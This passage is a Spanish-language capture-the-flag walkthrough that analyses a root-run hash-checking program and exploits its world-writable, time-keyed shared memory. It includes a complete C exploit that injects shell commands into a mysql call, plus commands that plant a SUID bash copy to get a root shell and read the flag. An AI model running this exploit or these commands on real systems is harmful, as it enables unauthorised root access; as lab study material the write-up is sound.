*/char*trim_bcrypt_hash(char*input){char*start_ptr=input;char*end_ptr;// Trim leading spaces and '>' characters
while(*start_ptr==' '||*start_ptr=='>'){start_ptr++;}// Calculate length of the remaining string after trimming the start
size_tlength=strlen(start_ptr);end_ptr=start_ptr+length-1;// Point to the last character
// Trim trailing spaces and newlines by replacing them with '\0'
while(end_ptr>=start_ptr){if(*end_ptr!=' '&&*end_ptr!='\n'){break;// Stop trimming when a non-whitespace character is found
}*end_ptr='\0';// Replace trailing whitespace with null terminator
end_ptr--;}returnstart_ptr;}
El codigo muestra que obtiene el hash del usuario de la base de datos, verifica que este ultimo exista en leaked_hashes.txt de no exisitir termina el programa.
1
2
3
4
5
// Fetch the bcrypt hash from the database for the given user.
void*userHash=fetch_hash_from_db(dbHost,dbUser,dbPassword,dbName,user);// ...
if(!check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",userHash)){puts("User is safe.");
En caso contrario muestra un mensaje indicando que la contrasena ha sido filtrada, el hash se pasa como parametro a la funcion write_to_shm,
1
2
3
4
5
6
7
8
}else{puts("Password is leaked!");fflush(stdout);// Write the leaked hash to shared memory.
// $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
unsignedintshmId=write_to_shm(userHash);// ....
En esta funcion, se utiliza el tiempo como ‘seed’ para generar un valor aleatorio con rand(), el valor aleatorio modulo 0xFFFFF crea una key, esta ultima se usa para crear un segmento de memoria compartida con shmget especificando el espacio (1024 bytes), con permisos para que cualquiera pueda leer o escribir, se adjunta a este para escribir el mensaje "Leaked hash detected at '<time>' > '<hash>'" y finalmente retorna la key.
/// write_to_shm()
// Seed the random number generator with the current time.
time_tcurrentTime=time(NULL);srand((unsignedint)currentTime);intrandValue=rand();// Compute a shared memory key based on a random value modulo 0xfffff.
intshmKey=randValue%0xfffff;intshmid=shmget(shmKey,0x400,0x3B6);// Attach to the shared memory segment.
char*shmAddr=shmat(shmid,NULL,0);// Write the leaked hash message to the shared memory segment.
snprintf(shmAddr,0x400,"Leaked hash detected at %s > %s\n",timeStr,leakedHash);// ...
// Return the shared memory key.
returnshmKey;
Al regresar a la funcion principal muestra en pantalla la key y se la pasa a notify_user como argumento.
1
2
3
4
5
6
7
8
9
10
printf("Using the shared memory 0x%X as temp location\n",shmId);fflush(stdout);// Pause briefly before notifying the user.
sleep(1);// Notify the user about the leaked password.
notify_user(dbHost,dbUser,dbPassword,dbName,shmId);/*
// ...
La key es utilizada para obtener el segmento de memoria, el cual seria el mismo donde anteriormente se escribio un mensaje, verifica que exista Leaked hash detected y obtiene todo despues de “>” donde la funcion trim_bcrypt_hash elimina espacios y saltos de linea, con esto se tendria unicamente “el valor del hash”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// notify_user
// Get shared memory segment using the provided key.
intshmid=shmget(shmKey,0,0x1B6);// Attach to the shared memory segment.
char*sharedMemory=(char*)shmat(shmid,NULL,0);// Search for the leaked hash message.
char*hashMessage=strstr(sharedMemory,"Leaked hash detected");// Find the '>' character that precedes the hash.
char*hashStart=strchr(hashMessage,'>');// Trim and extract the bcrypt hash.
char*trimmedHash=trim_bcrypt_hash(hashStart+1);
Se carga la contrasena de la variable de entorno MYSQL_PWD.
1
2
3
4
5
6
// Set the MySQL password environment variable.
if(setenv("MYSQL_PWD",mysqlPassword,1)!=0){perror("setenv");shmdt(sharedMemory);return;}
Se comienza a construir un comando con mysql especificando: usuario, base de datos y el hash. Luego se asigna a memoria para finalmente ejecutar el comando, el cual devuelve el correo del usuario.
// Build the MySQL command string.
intcmdLength=snprintf(NULL,0,"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'",mysqlUser,databaseName,trimmedHash);char*cmd=malloc(cmdLength+1);if(cmd==NULL){// ...
}snprintf(cmd,cmdLength+1,"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'",mysqlUser,databaseName,trimmedHash);// Execute the MySQL command and capture its output.
FILE*fp=popen(cmd,"r");if(fp==NULL){// ...
}// .. captures output ...
// If the result string is not empty, notify the user.
if(notification[0]!='\0'){printf("User will be notified via %s\n",notification);}// back to main and exit
El comando quedaria seria de la siguiente forma, tal y como pspy mostraba en ejecucion.
1
mysql -u <USER> -D <DB> -s -N -e 'select email from teampass_users where pw = "$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy"'
Resumen
Al proporcionar un usuario existente:
Se obtiene el hash del usuario de la base de datos, verifica si este existe en un archivo de texto especifico.
Se crea un valor aleatorio a partir del tiempo, con este se crea una key que sirve para crear un segmento de memoria compartida con permisos para que cualquiera puede acceder, en este ultimo se escribe un mensaje incluyendo tiempo y hash del usuario.
Nuevamente se accede al segmento de memoria con la key para obtener el mensaje anterior, parte del mensaje es utilizado para construir un comando con mysql.
El comando ejecuta un query agregando el valor anterior obtenido, muestra el correo del usuario y termina.
Shared Memory
Como pudimos observar en el codigo fuente se esta haciendo uso de memoria compartida.
La memoria compartida funciona asignando una region de memoria para compartir datos (leer o escribir) a diferentes programas o procesos de forma simultanea, facilitando la comunicacion sin necesidad de utilizar algun tipo de mecanismo.
Esto lo observamos en el programa, el hash se escribe en memoria, luego, se realiza la lectura del hash para utilizarlo en un comando.
El programa no utiliza encriptacion o permisos especificos de acceso a la memoria por lo que cualquier podria leer o escribir en memoria, ademas, se conoce la forma de como es generada la key que es utilizada para el crear el segmento de memoria compartida.
1
2
3
4
5
6
7
// seed
time_tcurrentTime=time(NULL);srand((unsignedint)currentTime);// rand value
intrandValue=rand();// shared memory key based on a random value modulo 0xfffff.
intshmKey=randValue%0xfffff;
Al encontrar la misma key que la del programa en ejecucion es posible acceder a esta. Buscar y modificar el hash que es utilizado en la ejecucion del query en mysql. El comando no tiene ningun tipo de filtro, por lo que seria posible inyectar comandos al modificar el hash por '; whoami #. El comando se ejecutaria como root.
1
2
3
4
# originalmysql -u <USER> -D <DB> -s -N -e 'select email from teampass_users where pw = "$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy"'# command injectionmysql -u <USER> -D <DB> -s -N -e 'select email from teampass_users where pw = "'; whoami #"'
Exploit
Escribimos un programa en C que utiliza la misma forma que crea el segmento de memoria compartida del ejecutable, se adjunta a este y busca parte del hash en memoria. Al encontrar el contenido en memoria, escribe en memoria contenido que se le pasa como argumento.
#include<stdio.h>#include<stdlib.h>#include<sys/shm.h>#include<string.h>#include<unistd.h>intdone=0;voidfind_and_write(constchar*input){srand(time(NULL));intrandValue=rand();intshmKey=randValue%0xFFFFF;intshmid=shmget(shmKey,0x400,IPC_CREAT|0666);if(shmid<0){perror("shmget failed");exit(1);}char*shmaddr=shmat(shmid,NULL,0);if(shmaddr==(char*)-1){perror("shmat failed");exit(1);}printf("[+] Shared memory attached at address: %p\n",(void*)shmaddr);if(strstr(shmaddr,"$2y$10$")!=NULL){printf("[+] Hash found!\n");printf("[+] Key: %p \n",(void*)shmKey);printf("[+] Hash was found in %p, content: %s\n",(void*)shmaddr,shmaddr);printf("[+] Writing at %p ... \n",(void*)shmaddr);snprintf(shmaddr,SHM_SIZE,"Leaked hash detected > '; %s # ",input);printf("[+] Content now at %p: %s\n",(void*)shmaddr,shmaddr);printf("[+] Exit! \n");done=1;}else{return0;}if(shmdt(shmaddr)==-1){perror("shmdt failed");exit(1);}}intmain(intargc,char*argv[]){if(argc<2){printf("Usage: %s <command>\n",argv[0]);return1;}printf("[+] Searching for the hash ... \n");while(done==0){find_and_write(argv[1]);sleep(1);}return0;}
Compilamos el programa en la maquina, lo ejecutamos pasando el comando whoami > whoami. En una segunda shell ejecutamos el script como sudo pasando el usuario bob. Observamos que encontro el hash, escribio en memoria.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# for i in $(ipcs -m -p|cut -d " " -f1); do ipcrm -m $i 2>/dev/null; done;reader@checker:/dev/shm$ ./shared
Usage: ./shared <command>
reader@checker:/dev/shm$ ./shared 'whoami > whoami'[+] Searching for the hash ...
[+] Shared memory attached at address: 0x7f36a715f000
[+] Shared memory attached at address: 0x7f36a7125000
[+] Shared memory attached at address: 0x7f36a7124000
[+] Shared memory attached at address: 0x7f36a7123000
[+] Shared memory attached at address: 0x7f36a7122000
[+] Hash found!
[+] Key: 0xb10cd
[+] Hash was found in 0x7f36a7122000, content: Leaked hash detected at Fri Feb 28 07:50:46 2025 > $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
[+] Writing at 0x7f36a7122000 ...
[+] Content now at 0x7f36a7122000: Leaked hash detected > '; whoami > whoami # [+] Exit!
reader@checker:/dev/shm$
La ejecucion del script muestra un error de sintaxis.
1
2
3
4
5
6
reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0xB10CD as temp location
ERROR 1064(42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1Failed to read result from the db
reader@checker:/dev/shm$
El comando se ejecuto y vemos el contenido de whoami en el archivo.
1
2
3
4
5
reader@checker:/dev/shm$ ls
shared shared.c whoami
reader@checker:/dev/shm$ cat whoami
root
reader@checker:/dev/shm$
Shell
Realizamos una copia de bash y le dimos permisos SUID.
1
2
3
4
5
6
7
8
9
10
11
12
reader@checker:/dev/shm$ ./shared 'cp /bin/bash /bin/sc && chmod u+s /bin/sc'[+] Searching for the hash ...
[+] Shared memory attached at address: 0x7fa6c7221000
[+] Shared memory attached at address: 0x7fa6c71e7000
[+] Hash found!
[+] Key: 0x3800f
[+] Hash was found in 0x7fa6c71e7000, content: Leaked hash detected at Fri Feb 28 07:55:34 2025 > $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
[+] Writing at 0x7fa6c71e7000 ...
[+] Content now at 0x7fa6c71e7000: Leaked hash detected > '; cp /bin/bash /bin/sc && chmod u+s /bin/sc # [+] Exit!
reader@checker:/dev/shm$
Ejecutamos /bin/sc -p logrando obtener una shell como root y realizar la lectura de la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
reader@checker:/dev/shm$ ls -lah /bin/sc
-rwsr-xr-x 1 root root 1.4M Feb 28 07:55 /bin/sc
reader@checker:/dev/shm$ /bin/sc -p
sc-5.1# whoami
root
sc-5.1# cd /root
sc-5.1# ls
root.txt
sc-5.1# cat root.txt
71d89119155e5ce726276ecd6295c544
sc-5.1#